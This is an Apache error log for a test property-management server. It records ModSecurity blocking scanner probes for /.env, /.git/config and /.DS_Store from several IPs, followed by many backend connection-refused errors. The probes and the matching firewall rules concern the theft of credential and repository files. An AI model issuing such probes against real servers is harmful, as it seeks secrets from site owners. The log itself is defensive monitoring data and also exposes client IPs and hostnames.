[Thu Oct 31 11:31:25.380012 2024] [:error] [pid 2981281] [client 185.229.224.230:49283] [client 185.229.224.230] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;ZyNcfY7QqL7-Sw8LP-jAhAAAAAQ&quot;]
[Thu Oct 31 11:31:25.380727 2024] [:error] [pid 2981281] [client 185.229.224.230:49283] [client 185.229.224.230] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;ZyNcfY7QqL7-Sw8LP-jAhAAAAAQ&quot;]
[Thu Oct 31 11:31:25.381184 2024] [:error] [pid 2981281] [client 185.229.224.230:49283] [client 185.229.224.230] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;ZyNcfY7QqL7-Sw8LP-jAhAAAAAQ&quot;]
[Sun Nov 03 02:39:10.456351 2024] [:error] [pid 3055865] [client 45.148.10.206:54250] [client 45.148.10.206] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;ZybUPnorPEG-E0kULEglmwAAAAE&quot;]
[Sun Nov 03 02:39:10.459354 2024] [:error] [pid 3055865] [client 45.148.10.206:54250] [client 45.148.10.206] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;ZybUPnorPEG-E0kULEglmwAAAAE&quot;]
[Sun Nov 03 02:39:10.459835 2024] [:error] [pid 3055865] [client 45.148.10.206:54250] [client 45.148.10.206] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;ZybUPnorPEG-E0kULEglmwAAAAE&quot;]
[Tue Nov 05 17:02:10.638820 2024] [:error] [pid 3101160] [client 64.95.11.36:47386] [client 64.95.11.36] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;ZypBgm_pEl2mzRC_koKxZwAAAAU&quot;]
[Tue Nov 05 17:02:10.639631 2024] [:error] [pid 3101160] [client 64.95.11.36:47386] [client 64.95.11.36] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;ZypBgm_pEl2mzRC_koKxZwAAAAU&quot;]
[Tue Nov 05 17:02:10.640085 2024] [:error] [pid 3101160] [client 64.95.11.36:47386] [client 64.95.11.36] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;ZypBgm_pEl2mzRC_koKxZwAAAAU&quot;]
[Wed Nov 06 01:37:54.790628 2024] [:error] [pid 3120903] [client 104.244.73.136:47976] [client 104.244.73.136] ModSecurity: Warning. Matched phrase &quot;/.DS_Store&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.DS_Store found within REQUEST_FILENAME: /.ds_store&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.DS_Store&quot;] [unique_id &quot;Zyq6YiozqzyeX5panTqg5AAAAAI&quot;]
[Wed Nov 06 01:37:54.794754 2024] [:error] [pid 3120903] [client 104.244.73.136:47976] [client 104.244.73.136] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.DS_Store&quot;] [unique_id &quot;Zyq6YiozqzyeX5panTqg5AAAAAI&quot;]
[Wed Nov 06 01:37:54.795239 2024] [:error] [pid 3120903] [client 104.244.73.136:47976] [client 104.244.73.136] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.DS_Store&quot;] [unique_id &quot;Zyq6YiozqzyeX5panTqg5AAAAAI&quot;]
[Wed Nov 06 01:37:55.692336 2024] [:error] [pid 3120870] [client 192.42.116.176:15287] [client 192.42.116.176] ModSecurity: Warning. Matched phrase &quot;/.DS_Store&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.DS_Store found within REQUEST_FILENAME: /.ds_store&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.DS_Store&quot;] [unique_id &quot;Zyq6Y2skubCzkiLy8QnargAAAAA&quot;]
[Wed Nov 06 01:37:55.692970 2024] [:error] [pid 3120870] [client 192.42.116.176:15287] [client 192.42.116.176] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.DS_Store&quot;] [unique_id &quot;Zyq6Y2skubCzkiLy8QnargAAAAA&quot;]
[Wed Nov 06 01:37:55.693553 2024] [:error] [pid 3120870] [client 192.42.116.176:15287] [client 192.42.116.176] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.DS_Store&quot;] [unique_id &quot;Zyq6Y2skubCzkiLy8QnargAAAAA&quot;]
[Wed Nov 06 04:33:33.389813 2024] [:error] [pid 3124095] [client 45.148.10.172:48688] [client 45.148.10.172] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;ZyrjjToVbNW8JKLPQg0yvAAAAAY&quot;]
[Wed Nov 06 04:33:33.390575 2024] [:error] [pid 3124095] [client 45.148.10.172:48688] [client 45.148.10.172] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;ZyrjjToVbNW8JKLPQg0yvAAAAAY&quot;]
[Wed Nov 06 04:33:33.391010 2024] [:error] [pid 3124095] [client 45.148.10.172:48688] [client 45.148.10.172] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;ZyrjjToVbNW8JKLPQg0yvAAAAAY&quot;]
[Wed Nov 06 15:45:42.107687 2024] [proxy_http:error] [pid 3134931] (20014)Internal error (specific information not available): [client 217.71.68.23:58543] AH01102: error reading status line from remote server 127.0.0.1:3000, referer: https://pms.test.indacotrentino.com/
[Wed Nov 06 15:45:42.107700 2024] [proxy_http:error] [pid 3134638] (20014)Internal error (specific information not available): [client 217.71.68.23:27450] AH01102: error reading status line from remote server 127.0.0.1:3000, referer: https://pms.test.indacotrentino.com/
[Wed Nov 06 15:45:42.107778 2024] [proxy_http:error] [pid 3134905] (20014)Internal error (specific information not available): [client 217.71.68.23:52110] AH01102: error reading status line from remote server 127.0.0.1:3000, referer: https://pms.test.indacotrentino.com/
[Wed Nov 06 15:45:42.108188 2024] [proxy_http:error] [pid 3136062] (20014)Internal error (specific information not available): [client 217.71.68.23:51220] AH01102: error reading status line from remote server 127.0.0.1:3000, referer: https://pms.test.indacotrentino.com/
[Wed Nov 06 15:45:42.121837 2024] [proxy_http:error] [pid 3136055] (20014)Internal error (specific information not available): [client 217.71.68.23:41702] AH01102: error reading status line from remote server 127.0.0.1:3000, referer: https://pms.test.indacotrentino.com/
[Wed Nov 06 15:45:42.122590 2024] [proxy_http:error] [pid 3135759] (20014)Internal error (specific information not available): [client 217.71.68.23:15127] AH01102: error reading status line from remote server 127.0.0.1:3000, referer: https://pms.test.indacotrentino.com/
[Wed Nov 06 15:45:42.122795 2024] [proxy_http:error] [pid 3134943] (20014)Internal error (specific information not available): [client 217.71.68.23:19326] AH01102: error reading status line from remote server 127.0.0.1:3000, referer: https://pms.test.indacotrentino.com/
[Wed Nov 06 15:45:42.123479 2024] [proxy_http:error] [pid 3134932] (20014)Internal error (specific information not available): [client 217.71.68.23:59179] AH01102: error reading status line from remote server 127.0.0.1:3000, referer: https://pms.test.indacotrentino.com/
[Wed Nov 06 15:45:42.164773 2024] [proxy:error] [pid 3134915] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:3000 (127.0.0.1:3000) failed
[Wed Nov 06 15:45:42.164825 2024] [proxy_http:error] [pid 3134915] [client 217.71.68.23:26518] AH01114: HTTP: failed to make connection to backend: 127.0.0.1, referer: https://pms.test.indacotrentino.com/
[Wed Nov 06 15:45:42.166532 2024] [proxy:error] [pid 3135044] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:3000 (127.0.0.1:3000) failed
[Wed Nov 06 15:45:42.166567 2024] [proxy_http:error] [pid 3135044] [client 217.71.68.23:50636] AH01114: HTTP: failed to make connection to backend: 127.0.0.1, referer: https://pms.test.indacotrentino.com/
[Wed Nov 06 15:45:42.177203 2024] [proxy:error] [pid 3134960] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:3000 (127.0.0.1:3000) failed
[Wed Nov 06 15:45:42.177226 2024] [proxy_http:error] [pid 3134960] [client 217.71.68.23:52244] AH01114: HTTP: failed to make connection to backend: 127.0.0.1, referer: https://pms.test.indacotrentino.com/
[Wed Nov 06 15:45:42.177485 2024] [proxy:error] [pid 3136078] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:3000 (127.0.0.1:3000) failed
[Wed Nov 06 15:45:42.177509 2024] [proxy_http:error] [pid 3136078] [client 217.71.68.23:40420] AH01114: HTTP: failed to make connection to backend: 127.0.0.1, referer: https://pms.test.indacotrentino.com/
[Wed Nov 06 15:45:42.179551 2024] [proxy:error] [pid 3136059] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:3000 (127.0.0.1:3000) failed
[Wed Nov 06 15:45:42.179571 2024] [proxy_http:error] [pid 3136059] [client 217.71.68.23:10952] AH01114: HTTP: failed to make connection to backend: 127.0.0.1, referer: https://pms.test.indacotrentino.com/
[Wed Nov 06 15:45:42.187501 2024] [proxy:error] [pid 3136061] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:3000 (127.0.0.1:3000) failed
[Wed Nov 06 15:45:42.187522 2024] [proxy_http:error] [pid 3136061] [client 217.71.68.23:29138] AH01114: HTTP: failed to make connection to backend: 127.0.0.1, referer: https://pms.test.indacotrentino.com/
[Wed Nov 06 15:45:42.321116 2024] [proxy:error] [pid 3135786] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:3000 (127.0.0.1:3000) failed
[Wed Nov 06 15:45:42.321141 2024] [proxy_http:error] [pid 3135786] [client 217.71.68.23:61856] AH01114: HTTP: failed to make connection to backend: 127.0.0.1, referer: https://pms.test.indacotrentino.com/
[Wed Nov 06 15:45:42.324264 2024] [proxy:error] [pid 3136060] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:3000 (127.0.0.1:3000) failed
[Wed Nov 06 15:45:42.324285 2024] [proxy_http:error] [pid 3136060] [client 217.71.68.23:49892] AH01114: HTTP: failed to make connection to backend: 127.0.0.1, referer: https://pms.test.indacotrentino.com/
[Wed Nov 06 15:46:04.217633 2024] [proxy:error] [pid 3136078] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:3000 (127.0.0.1:3000) failed
[Wed Nov 06 15:46:04.217663 2024] [proxy_http:error] [pid 3136078] [client 217.71.68.23:10875] AH01114: HTTP: failed to make connection to backend: 127.0.0.1, referer: https://pms.test.indacotrentino.com/
[Wed Nov 06 15:46:06.774045 2024] [proxy:error] [pid 3136059] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:3000 (127.0.0.1:3000) failed
[Wed Nov 06 15:46:06.774080 2024] [proxy_http:error] [pid 3136059] [client 217.71.68.23:19102] AH01114: HTTP: failed to make connection to backend: 127.0.0.1, referer: https://pms.test.indacotrentino.com/
[Wed Nov 06 15:46:07.802328 2024] [proxy:error] [pid 3136061] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:3000 (127.0.0.1:3000) failed
[Wed Nov 06 15:46:07.802366 2024] [proxy_http:error] [pid 3136061] [client 217.71.68.23:8307] AH01114: HTTP: failed to make connection to backend: 127.0.0.1, referer: https://pms.test.indacotrentino.com/
[Wed Nov 06 15:52:58.042119 2024] [proxy_http:error] [pid 3136059] (20014)Internal error (specific information not available): [client 217.71.68.23:17956] AH01102: error reading status line from remote server 127.0.0.1:3000, referer: https://pms.test.indacotrentino.com/
[Wed Nov 06 15:52:58.044073 2024] [proxy_http:error] [pid 3136078] (20014)Internal error (specific information not available): [client 217.71.68.23:56090] AH01102: error reading status line from remote server 127.0.0.1:3000, referer: https://pms.test.indacotrentino.com/
[Wed Nov 06 15:52:58.046294 2024] [proxy_http:error] [pid 3134917] (20014)Internal error (specific information not available): [client 217.71.68.23:33535] AH01102: error reading status line from remote server 127.0.0.1:3000, referer: https://pms.test.indacotrentino.com/
[Wed Nov 06 15:52:58.046612 2024] [proxy:error] [pid 3134917] [client 217.71.68.23:33535] AH00898: Error reading from remote server returned by /rest/attribute-sets/view_economiasolidale/64e5bfb53c77da0696599768, referer: https://pms.test.indacotrentino.com/
[Wed Nov 06 15:52:58.047309 2024] [proxy_http:error] [pid 3134960] (20014)Internal error (specific information not available): [client 217.71.68.23:42338] AH01102: error reading status line from remote server 127.0.0.1:3000, referer: https://pms.test.indacotrentino.com/
[Wed Nov 06 15:52:58.048226 2024] [proxy_http:error] [pid 3138302] (20014)Internal error (specific information not available): [client 217.71.68.23:26798] AH01102: error reading status line from remote server 127.0.0.1:3000, referer: https://pms.test.indacotrentino.com/
[Wed Nov 06 15:52:58.049245 2024] [proxy_http:error] [pid 3138304] (20014)Internal error (specific information not available): [client 217.71.68.23:21141] AH01102: error reading status line from remote server 127.0.0.1:3000, referer: https://pms.test.indacotrentino.com/
[Wed Nov 06 15:52:58.070411 2024] [proxy:error] [pid 3134917] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:3000 (127.0.0.1:3000) failed
[Wed Nov 06 15:52:58.070442 2024] [proxy_http:error] [pid 3134917] [client 217.71.68.23:33535] AH01114: HTTP: failed to make connection to backend: 127.0.0.1, referer: https://pms.test.indacotrentino.com/
[Wed Nov 06 15:52:58.106712 2024] [proxy:error] [pid 3135786] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:3000 (127.0.0.1:3000) failed
[Wed Nov 06 15:52:58.106717 2024] [proxy:error] [pid 3138308] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:3000 (127.0.0.1:3000) failed
[Wed Nov 06 15:52:58.106750 2024] [proxy_http:error] [pid 3135786] [client 217.71.68.23:51363] AH01114: HTTP: failed to make connection to backend: 127.0.0.1, referer: https://pms.test.indacotrentino.com/
[Wed Nov 06 15:52:58.106760 2024] [proxy_http:error] [pid 3138308] [client 217.71.68.23:2400] AH01114: HTTP: failed to make connection to backend: 127.0.0.1, referer: https://pms.test.indacotrentino.com/
[Wed Nov 06 15:52:58.109074 2024] [proxy:error] [pid 3136062] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:3000 (127.0.0.1:3000) failed
[Wed Nov 06 15:52:58.109098 2024] [proxy_http:error] [pid 3136062] [client 217.71.68.23:45077] AH01114: HTTP: failed to make connection to backend: 127.0.0.1, referer: https://pms.test.indacotrentino.com/
[Wed Nov 06 15:52:58.109135 2024] [proxy:error] [pid 3136057] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:3000 (127.0.0.1:3000) failed
[Wed Nov 06 15:52:58.109170 2024] [proxy_http:error] [pid 3136057] [client 217.71.68.23:16863] AH01114: HTTP: failed to make connection to backend: 127.0.0.1, referer: https://pms.test.indacotrentino.com/
[Wed Nov 06 15:52:58.109521 2024] [proxy:error] [pid 3136061] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:3000 (127.0.0.1:3000) failed
[Wed Nov 06 15:52:58.109543 2024] [proxy_http:error] [pid 3136061] [client 217.71.68.23:42101] AH01114: HTTP: failed to make connection to backend: 127.0.0.1, referer: https://pms.test.indacotrentino.com/
[Wed Nov 06 15:52:58.125816 2024] [proxy:error] [pid 3134943] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:3000 (127.0.0.1:3000) failed
[Wed Nov 06 15:52:58.125843 2024] [proxy_http:error] [pid 3134943] [client 217.71.68.23:36850] AH01114: HTTP: failed to make connection to backend: 127.0.0.1, referer: https://pms.test.indacotrentino.com/
[Wed Nov 06 15:52:58.159194 2024] [proxy:error] [pid 3138294] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:3000 (127.0.0.1:3000) failed
[Wed Nov 06 15:52:58.159223 2024] [proxy_http:error] [pid 3138294] [client 217.71.68.23:5073] AH01114: HTTP: failed to make connection to backend: 127.0.0.1, referer: https://pms.test.indacotrentino.com/
[Wed Nov 06 15:52:58.162206 2024] [proxy:error] [pid 3138307] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:3000 (127.0.0.1:3000) failed
[Wed Nov 06 15:52:58.162224 2024] [proxy_http:error] [pid 3138307] [client 217.71.68.23:24186] AH01114: HTTP: failed to make connection to backend: 127.0.0.1, referer: https://pms.test.indacotrentino.com/
[Wed Nov 06 15:52:58.164393 2024] [proxy:error] [pid 3136060] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:3000 (127.0.0.1:3000) failed
[Wed Nov 06 15:52:58.164411 2024] [proxy_http:error] [pid 3136060] [client 217.71.68.23:61600] AH01114: HTTP: failed to make connection to backend: 127.0.0.1, referer: https://pms.test.indacotrentino.com/
[Wed Nov 06 15:52:58.164867 2024] [proxy:error] [pid 3136078] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:3000 (127.0.0.1:3000) failed
[Wed Nov 06 15:52:58.164881 2024] [proxy_http:error] [pid 3136078] [client 217.71.68.23:7350] AH01114: HTTP: failed to make connection to backend: 127.0.0.1, referer: https://pms.test.indacotrentino.com/
[Wed Nov 06 15:52:58.165144 2024] [proxy:error] [pid 3136059] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:3000 (127.0.0.1:3000) failed
[Wed Nov 06 15:52:58.165162 2024] [proxy_http:error] [pid 3136059] [client 217.71.68.23:62608] AH01114: HTTP: failed to make connection to backend: 127.0.0.1, referer: https://pms.test.indacotrentino.com/
[Wed Nov 06 15:52:58.187034 2024] [proxy:error] [pid 3134960] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:3000 (127.0.0.1:3000) failed
[Wed Nov 06 15:52:58.187079 2024] [proxy_http:error] [pid 3134960] [client 217.71.68.23:28278] AH01114: HTTP: failed to make connection to backend: 127.0.0.1, referer: https://pms.test.indacotrentino.com/
[Wed Nov 06 15:52:58.209602 2024] [proxy:error] [pid 3138304] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:3000 (127.0.0.1:3000) failed
[Wed Nov 06 15:52:58.209630 2024] [proxy_http:error] [pid 3138304] [client 217.71.68.23:20116] AH01114: HTTP: failed to make connection to backend: 127.0.0.1, referer: https://pms.test.indacotrentino.com/
[Wed Nov 06 16:07:39.786506 2024] [proxy_http:error] [pid 3139703] (20014)Internal error (specific information not available): [client 80.117.116.250:63184] AH01102: error reading status line from remote server 127.0.0.1:3000, referer: https://pms.test.indacotrentino.com/
[Wed Nov 06 16:07:39.786559 2024] [proxy:error] [pid 3139703] [client 80.117.116.250:63184] AH00898: Error reading from remote server returned by /rest/categories/view_autumnus/64e5bfa23c77da0696599767, referer: https://pms.test.indacotrentino.com/
[Wed Nov 06 16:07:39.787369 2024] [proxy_http:error] [pid 3139702] (20014)Internal error (specific information not available): [client 80.117.116.250:63183] AH01102: error reading status line from remote server 127.0.0.1:3000, referer: https://pms.test.indacotrentino.com/
[Wed Nov 06 16:07:39.787393 2024] [proxy_http:error] [pid 3138294] (20014)Internal error (specific information not available): [client 80.117.116.250:63179] AH01102: error reading status line from remote server 127.0.0.1:3000, referer: https://pms.test.indacotrentino.com/
